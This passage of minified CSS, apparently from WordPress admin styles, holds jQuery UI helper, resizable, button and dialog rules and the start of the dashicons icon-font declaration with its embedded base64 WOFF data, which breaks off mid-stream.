 */.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:after,.ui-helper-clearfix:before{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-clearfix{min-height:0}.ui-helper-zfix{width:100%;height:100%;top:0;right:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-overlay{position:fixed;top:0;right:0;width:100%;height:100%}/*!
 * jQuery UI Resizable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;touch-action:none}.ui-resizable-autohide .ui-resizable-handle,.ui-resizable-disabled .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;right:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;right:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-button{display:inline-block;text-decoration:none;font-size:13px;line-height:2;height:28px;margin:0;padding:0 10px 1px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box;color:#50575e;border-color:#c3c4c7;background:#f6f7f7;box-shadow:0 1px 0 #c3c4c7;vertical-align:top}.ui-button:active,.ui-button:focus{outline:0}.ui-button::-moz-focus-inner{border-width:0;border-style:none;padding:0}.ui-button:focus,.ui-button:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.ui-button:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.ui-button:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}.ui-button:disabled,.ui-button[disabled]{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;text-shadow:0 1px 0 #fff!important;cursor:default;transform:none!important}@media screen and (max-width:782px){.ui-button{padding:6px 14px;line-height:normal;font-size:14px;vertical-align:middle;height:auto;margin-bottom:4px}}.ui-dialog{position:absolute;top:0;right:0;z-index:100102;background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);overflow:hidden}.ui-dialog-titlebar{background:#fff;border-bottom:1px solid #dcdcde;height:36px;font-size:18px;font-weight:600;line-height:2;padding:0 16px 0 36px}.ui-button.ui-dialog-titlebar-close{background:0 0;border:none;box-shadow:none;color:#646970;cursor:pointer;display:block;padding:0;position:absolute;top:0;left:0;width:36px;height:36px;text-align:center;border-radius:0;overflow:hidden}.ui-dialog-titlebar-close:before{font:normal 20px/1 dashicons;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;line-height:1.8;width:36px;height:36px;content:"\f158"}.ui-button.ui-dialog-titlebar-close:focus,.ui-button.ui-dialog-titlebar-close:hover{color:#135e96}.ui-button.ui-dialog-titlebar-close:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-2px}.ui-dialog-content{padding:16px;overflow:auto}.ui-dialog-buttonpane{background:#fff;border-top:1px solid #dcdcde;padding:16px}.ui-dialog-buttonpane .ui-button{margin-right:16px}.ui-dialog-buttonpane .ui-dialog-buttonset{float:left}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-widget-overlay{position:fixed;top:0;right:0;left:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:100101}/*! This file is auto-generated */
@font-face{font-family:dashicons;src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800");src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800#iefix") format("embedded-opentype"),url("data:application/x-font-woff;charset=utf-8;base64,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